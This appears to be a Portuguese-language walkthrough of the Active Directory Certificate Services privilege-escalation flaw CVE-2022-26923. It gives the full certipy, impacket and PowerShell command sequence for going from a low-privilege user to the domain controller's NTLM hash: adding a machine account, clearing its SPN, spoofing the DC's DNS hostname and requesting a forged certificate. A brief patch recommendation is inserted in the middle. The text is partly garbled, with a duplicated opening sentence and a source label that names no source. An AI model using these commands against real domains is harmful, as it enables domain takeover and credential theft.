
A vulnerabilidade permitia que um usuário com privilégios baixos escalasse privilégios para administrador de domínio em um ambiente padrão do Active Directory com a função de servidor Active Directory Certificate Services (AD CS) instalada.
A vulnerabilidade permitia que um usuário com privilégios baixos escalasse privilégios para administrador de domínio em um ambiente Active Directory padrão com a função de servidor Active Directory Certificate Services (AD CS) instalada.
Um exploit foi desenvolvido por Oliver Lyak (ly4k_) em Python e foi publicado antes e não depois do aviso. É declarado como prova de conceito. O exploit está disponível para download em research.ifcr.dk.
Fonte :
A falha de escalonamento de privilégios do Active Directory Domain recentemente revelada ainda não foi explorada ativamente, mas sua alta pontuação CVSS de 8.8 indica um alto risco para os sistemas comprometidos, permitindo que atacantes abusem das questões de certificado. CVE-2022-26923 permite manipular o atributo DnsHostName, que especifica o nome do computador conforme registrado no DNS, e então permite que um adversário obtenha um certificado dos AD Certificate Services, potencialmente levando à elevação de privilégio.
- Nome de usuário: user_test
- Senha: Password123#
- Domínio: my.domain.com
Para reproduzir, você deve:
- Ter impacket e certipy instalados na máquina atacante.
- https://github.com/SecureAuthCorp/impacket
- https://github.com/ly4k/Certipy
- Ter comprometido um usuário com privilégio baixo.
- Um sistema é vulnerável apenas se o Active Directory Certificate Services estiver em execução no domínio.
Vamos começar gerando um certificado para nosso usuário AD com privilégio baixo (Nome de usuário=user_test Senha=Password123#) usando o modelo de certificado User:
certipy req 'my.domain.com/user_test:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template User
Vamos verificar se o certificado é válido e se pode ser usado para autenticação Kerberos via Certipy:
certipy auth -pfx user_test.pfx
Adicionando um computador virtual ao domínio com Impacket:
addcomputer.py 'my.domain.com/user_test:Password123#' -method LDAPS -computer-name 'NEW_PC' -computer-pass 'Password123#'
# my.domain.com/user_test:Password123# - We need to provide valid AD credentials in order to add a new computer.
# method - The method of authentication. LDAPS will interface with the LDAP service on the domain controller.
# computer-name - The name of our computer. This can be anything we like, as long as it is not the same as an existing computer object.
# computer-pass - The password associated with our computer's machine account. We will need to impersonate this computer that we create, so make note of the password you chose here.
Vamos gerar um certificado para o novo computador que criamos. Para usar a conta de máquina do referido computador, você precisa adicionar um "$" ao final do nome:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Para mitigação e medidas de proteção do CVE-2022-26923, a Microsoft recomenda fortemente atualizar todos os servidores que executam o AD Certificate Services e controladores de domínio Windows que operam autenticação baseada em certificado para a versão mais recente de 10 de maio.
Na máquina comprometida, atualizando o DNS Hostname e os Atributos SPN:
PS C:\Users\user_test> Get-ADComputer NEW_PC -properties dnshostname,serviceprincipalname
Remova nosso atributo SPN atual:
PS C:\Users\user_test> Set-ADComputer NEW_PC -ServicePrincipalName @{}
Tente definir o atributo DNS hostname para o do DC:
PS C:\Users\user_test> Set-ADComputer NEW_PC -DnsHostName HOSTANME.my.domain.com
Na máquina atacante, forjando um Certificado Malicioso:
certipy req 'my.domain.com/NEW_PC$:Password123#@hostname.my.domain.com' -ca MY-DOMAIN-HOSTNAME-CA -template Machine
Verifique se este certificado está funcionando e retornará o hash NTLM:
certipy auth -pfx hostname.pfx